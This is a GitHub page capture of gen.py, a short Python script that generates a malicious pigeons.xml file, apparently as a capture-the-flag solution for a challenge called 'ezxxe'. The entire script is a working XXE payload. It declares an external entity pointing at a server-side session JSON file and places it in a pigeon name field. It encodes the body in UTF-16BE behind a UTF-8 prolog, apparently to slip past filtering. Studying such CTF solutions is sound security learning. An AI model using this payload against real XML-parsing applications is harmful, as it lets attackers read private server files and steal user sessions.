-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathgen.py
41 lines (39 loc) · 1.11 KB
/
gen.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import sys
part1 = '<?xml version="1.0" encoding="UTF-16be"'
part2 = f"""?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/ezxxe/app/sessions/{sys.argv[1]}.json">]>
<pigeons>
<pigeon>
<name>{"SEE{" + "a" * 60 + "}"}</name>
<image></image>
<description></description>
<website></website>
</pigeon>
<pigeon>
<name>{"SEE{" + "a" * 60 + "}"}{"SEE{" + "a" * 60 + "}"}</name>
<image></image>
<description></description>
<website></website>
</pigeon>
<pigeon>
<name>{"SEE{" + "a" * 60 + "}"}{"SEE{" + "a" * 60 + "}"}{"SEE{" + "a" * 60 + "}"}</name>
<image></image>
<description></description>
<website></website>
</pigeon>
<pigeon>
<name>{"SEE{" + "a" * 60 + "}"}{"SEE{" + "a" * 60 + "}"}{"SEE{" + "a" * 60 + "}"}{"SEE{" + "a" * 60 + "}"}</name>
<image></image>
<description></description>
<website></website>
</pigeon>
<pigeon>
<name>&xxe;</name>
<image></image>
<description></description>
<website></website>
</pigeon>
</pigeons>
"""
with open("pigeons.xml", "wb") as f:
f.write(part1.encode('utf-8') + part2.encode("utf-16be"))